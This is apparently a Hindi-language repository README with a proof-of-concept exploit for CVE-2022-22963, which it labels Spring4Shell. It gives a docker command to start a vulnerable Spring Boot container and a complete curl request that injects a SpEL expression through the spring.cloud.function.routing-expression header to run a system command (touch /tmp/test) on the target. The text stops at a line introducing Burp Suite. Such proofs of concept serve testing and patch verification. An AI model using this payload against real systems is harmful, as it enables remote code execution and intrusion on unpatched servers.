darryk10/cve-2022-22963CVE-2022-22963 (Spring4Shell) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जिसमें एक कमजोर Docker कंटेनर और Spring Cloud Function रूटिंग एक्सप्रेशन के माध्यम से curl-आधारित रिमोट कोड निष्पादन शामिल है।
कमजोर SpringBoot एप्लिकेशन चलाने के लिए इस डॉकर कंटेनर को पोर्ट 8080 पर एक्सपोज़ करते हुए चलाएं। उदाहरण:
docker run -it -d -p 8080:8080 bobcheat/springboot-public
Curl कमांड:
curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'
या Burp सूट का उपयोग करके:
